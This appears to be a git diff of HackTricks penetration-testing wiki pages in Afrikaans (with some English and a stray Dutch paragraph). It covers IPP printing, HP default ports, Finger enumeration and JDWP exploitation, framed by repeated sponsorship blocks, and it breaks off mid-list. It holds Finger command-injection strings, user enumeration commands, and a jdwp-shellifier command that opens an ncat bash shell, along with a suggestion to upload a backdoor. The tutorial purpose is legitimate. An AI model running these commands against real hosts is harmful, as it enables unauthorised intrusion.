* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Internetdrukkeryprotokol \(IPP\)
|
||||
# Internet Printing Protocol \(IPP\)
|
||||
|
||||
Die **Internetdrukkeryprotokol (IPP)**, soos gespesifiseer in **RFC2910** en **RFC2911**, dien as 'n grondslag vir drukwerk oor die internet. Sy vermoë om uitgebrei te word, word gedemonstreer deur ontwikkelinge soos **IPP Everywhere**, wat daarop gemik is om mobiele en wolkdrukwerk te standaardiseer, en die bekendstelling van uitbreidings vir **3D-drukwerk**.
|
||||
Die **Internet Printing Protocol (IPP)**, soos gespesifiseer in **RFC2910** en **RFC2911**, dien as 'n grondslag vir drukwerk oor die internet. Die vermoë om uitgebrei te word, word getoon deur ontwikkelings soos **IPP Everywhere**, wat daarop gemik is om mobiele en wolkdrukwerk te standaardiseer, en die bekendstelling van uitbreidings vir **3D druk**.
|
||||
|
||||
Deur gebruik te maak van die **HTTP**-protokol, maak IPP gebruik van gevestigde veiligheidspraktyke, insluitend **basiese/digest-verifikasie** en **SSL/TLS-versleuteling**. Aksies soos die indien van 'n drukwerktaak of die ondervraging van drukkerystatus word uitgevoer deur **HTTP POST-aanvrae** wat gerig is op die IPP-bediener, wat op **poort 631/tcp** werk.
|
||||
Deur gebruik te maak van die **HTTP** protokol, voordeel IPP uit gevestigde sekuriteitspraktyke insluitend **basiese/digeste outentisering** en **SSL/TLS versleuteling**. Aksies soos die indien van 'n druktaak of die navraag van drukkerstatus word uitgevoer deur middel van **HTTP POST versoeke** wat gerig is aan die IPP bediener, wat op **poort 631/tcp** werk.
|
||||
|
||||
'n Bekende implementering van IPP is **CUPS**, 'n oopbron-drukkerysisteem wat algemeen voorkom in verskeie Linux-distribusies en OS X. Ten spyte van sy bruikbaarheid kan IPP, soos LPD, uitgebuit word om skadelike inhoud deur te stuur deur middel van **PostScript**- of **PJL-lêers**, wat 'n potensiële veiligheidsrisiko beklemtoon.
|
||||
'n Bekende implementering van IPP is **CUPS**, 'n oopbron-drukstelsel wat algemeen voorkom in verskeie Linux verspreidings en OS X. Ten spyte van sy nut, kan IPP, soortgelyk aan LPD, uitgebuit word om kwaadwillige inhoud deur **PostScript** of **PJL lêers** oor te dra, wat 'n potensiële sekuriteitsrisiko beklemtoon.
|
||||
```python
|
||||
# Example of sending an IPP request using Python
|
||||
import requests
|
||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
|||
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||
print(response.status_code)
|
||||
```
|
||||
As jy meer wil leer oor [**drukkerhacking lees hierdie bladsy**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
As jy meer wil leer oor [**hacking drukkers lees hierdie bladsy**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Verstekpoort:** 2301,2381
|
||||
**Standaard Poort:** 2301,2381
|
||||
|
||||
# **Verstek wagwoorde**
|
||||
# **Standaard wagwoorde**
|
||||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
|
||||
# Konfigurasie-lêers
|
||||
# Konfigurasie lêers
|
||||
```text
|
||||
path.properties
|
||||
mx.log
|
||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
|||
jboss-service.xml
|
||||
.namazurc
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,37 @@
|
|||
# 79 - Pentesting Finger
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
Die **Finger** program/diens word gebruik om inligting oor rekenaargebruikers te bekom. Tipies sluit die verskafte inligting die **gebruikers se aanmeldingsnaam, volle naam** en, in sommige gevalle, addisionele besonderhede in. Hierdie addisionele besonderhede kan die kantoorlokasie en telefoonnommer (indien beskikbaar), die tyd waarop die gebruiker aangemeld het, die tydperk van onaktiwiteit (idle time), die laaste keer wat die gebruiker e-pos gelees het, en die inhoud van die gebruiker se plan- en projeklêers insluit.
|
||||
Die **Finger** program/dienst word gebruik om besonderhede oor rekenaargebruikers te verkry. Gewoonlik sluit die inligting wat verskaf word die **gebruikers se aanmeldnaam, volle naam**, en in sommige gevalle, addisionele besonderhede in. Hierdie ekstra besonderhede kan die kantoor ligging en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die periode van inaktiwiteit (idle time), die laaste keer dat die gebruiker 'n e-pos gelees het, en die inhoud van die gebruiker se plan en projeklêers insluit.
|
||||
|
||||
**Verstekpoort:** 79
|
||||
**Standaard poort:** 79
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
79/tcp open finger
|
||||
```
|
||||
## **Opname**
|
||||
## **Enumerasie**
|
||||
|
||||
### **Banner Grabbing/Basiese verbinding**
|
||||
```bash
|
||||
nc -vn <IP> 79
|
||||
echo "root" | nc -vn <IP> 79
|
||||
```
|
||||
### **Gebruikersopsporing**
|
||||
|
||||
User enumeration, ook wel bekend als fingerdienst, is een techniek die wordt gebruikt om informatie te verzamelen over gebruikers op een doelsysteem. Het maakt gebruik van de Finger-protocoldienst om informatie zoals gebruikersnamen, volledige namen, e-mailadressen en andere details te verkrijgen.
|
||||
|
||||
De Finger-protocoldienst is standaard geïnstalleerd op veel Unix-gebaseerde systemen. Het stelt gebruikers in staat om informatie over andere gebruikers op te vragen door simpelweg hun gebruikersnaam in te voeren. Deze informatie kan nuttig zijn voor een aanvaller, omdat het hen kan helpen bij het identificeren van mogelijke doelwitten en het vergroten van hun kennis over het doelsysteem.
|
||||
|
||||
Om gebruikersopsporing uit te voeren, kan een aanvaller verschillende tools en technieken gebruiken, zoals het gebruik van de `finger`-opdracht op de opdrachtregel, het gebruik van geautomatiseerde scripts of het gebruik van specifieke tools zoals `enum4linux` voor Windows-systemen.
|
||||
|
||||
Het is belangrijk op te merken dat gebruikersopsporing een potentieel risico vormt voor de privacy en beveiliging van gebruikers. Daarom is het belangrijk voor systeembeheerders om de Finger-protocoldienst uit te schakelen of te beperken om ongeautoriseerde toegang tot gebruikersinformatie te voorkomen.
|
||||
### **Gebruiker enumerasie**
|
||||
```bash
|
||||
finger @<Victim> #List users
|
||||
finger admin@<Victim> #Get info of user
|
||||
|
@ -50,7 +43,7 @@ finger-user-enum.pl -U users.txt -t 10.0.0.1
|
|||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
finger-user-enum.pl -U users.txt -T ips.txt
|
||||
```
|
||||
#### **Nmap voer 'n skrip uit om standaard skripte te gebruik**
|
||||
#### **Nmap voer 'n skrip uit om te doen met standaard skripte**
|
||||
|
||||
### Metasploit gebruik meer truuks as Nmap
|
||||
```
|
||||
|
@ -58,30 +51,31 @@ use auxiliary/scanner/finger/finger_users
|
|||
```
|
||||
### Shodan
|
||||
|
||||
* `port:79 GEBRUIKER`
|
||||
* `port:79 USER`
|
||||
|
||||
## Opdrag uitvoering
|
||||
```bash
|
||||
finger "|/bin/id@example.com"
|
||||
finger "|/bin/ls -a /@example.com"
|
||||
```
|
||||
## Vinger Stuiter
|
||||
## Finger Bounce
|
||||
|
||||
[Gebruik 'n stelsel as 'n vinger relais](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
```
|
||||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,63 @@
|
|||
# Pentesting JDWP - Java Debug Wire Protocol
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Uitbuiting
|
||||
## Exploiting
|
||||
|
||||
JDWP-uitbuiting draai om die **gebrek aan outentisering en versleuteling van die protokol**. Dit word gewoonlik op **poort 8000** gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP-diens aktief is, reageer dit met dieselfde string om sy teenwoordigheid te bevestig. Hierdie handskommethode dien as 'n vingerafdrukmetode om JDWP-diens op die netwerk te identifiseer.
|
||||
JDWP-uitbuiting hang af van die **protokol se gebrek aan outentisering en versleuteling**. Dit word algemeen op **poort 8000** gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP-diens aktief is, antwoord dit met dieselfde string, wat sy teenwoordigheid bevestig. Hierdie handshake dien as 'n vingerafdrukmetode om JDWP-dienste op die netwerk te identifiseer.
|
||||
|
||||
Wat prosesidentifikasie betref, kan die soektog na die string "jdwk" in Java-prosesse dui op 'n aktiewe JDWP-sessie.
|
||||
In terme van prosesidentifikasie, kan die soek na die string "jdwk" in Java prosesse 'n aktiewe JDWP-sessie aandui.
|
||||
|
||||
Die go-to-hulpmiddel is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
||||
Die gereedskap van keuse is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
||||
```bash
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
Ek het gevind dat die gebruik van `--break-on 'java.lang.String.indexOf'` die uitbuiting meer **stabiel** maak. En as jy die kans het om 'n agterdeur na die gasheer te oplaai en dit uit te voer in plaas van 'n bevel uit te voer, sal die uitbuiting selfs meer stabiel wees.
|
||||
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stabiel**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
|
||||
|
||||
## Meer besonderhede
|
||||
## More details
|
||||
|
||||
**Dit is 'n opsomming van [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Kyk daar vir verdere besonderhede.
|
||||
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
|
||||
|
||||
|
||||
1. **JDWP Oorsig**:
|
||||
- Dit is 'n pakkie-gebaseerde netwerk binêre protokol, hoofsaaklik sinchronies.
|
||||
- Dit het nie outentisering en enkripsie nie, wat dit kwesbaar maak wanneer dit blootgestel word aan vyandige netwerke.
|
||||
- Dit is 'n pakkie-gebaseerde netwerk-binary protokol, hoofsaaklik sinchronies.
|
||||
- Dit ontbreek outentikasie en versleuteling, wat dit kwesbaar maak wanneer dit blootgestel word aan vyandige netwerke.
|
||||
|
||||
2. **JDWP Handskud**:
|
||||
- 'n Eenvoudige handskudproses word gebruik om kommunikasie te inisieer. 'n 14-karakter ASCII-string "JDWP-Handskud" word uitgewissel tussen die Debuut (kliënt) en die Debuugee (bediener).
|
||||
2. **JDWP Handdruk**:
|
||||
- 'n Eenvoudige handdrukproses word gebruik om kommunikasie te begin. 'n 14-karakter ASCII-string “JDWP-Handshake” word tussen die Debugger (klient) en die Debuggee (bediener) uitgewissel.
|
||||
|
||||
3. **JDWP Kommunikasie**:
|
||||
- Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag en CommandSet.
|
||||
- CommandSet-waardes wissel van 0x40 tot 0x80 en verteenwoordig verskillende aksies en gebeure.
|
||||
- Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag, en CommandSet.
|
||||
- CommandSet waardes wissel van 0x40 tot 0x80, wat verskillende aksies en gebeurtenisse verteenwoordig.
|
||||
|
||||
4. **Uitbuiting**:
|
||||
- JDWP maak dit moontlik om willekeurige klasse en bytekode te laai en aan te roep, wat sekuriteitsrisiko's inhou.
|
||||
- Die artikel beskryf 'n uitbuitingsproses in vyf stappe, wat die ophaling van Java Runtime-verwysings, die stel van breekpunte en die aanroeping van metodes behels.
|
||||
4. **Eksploitering**:
|
||||
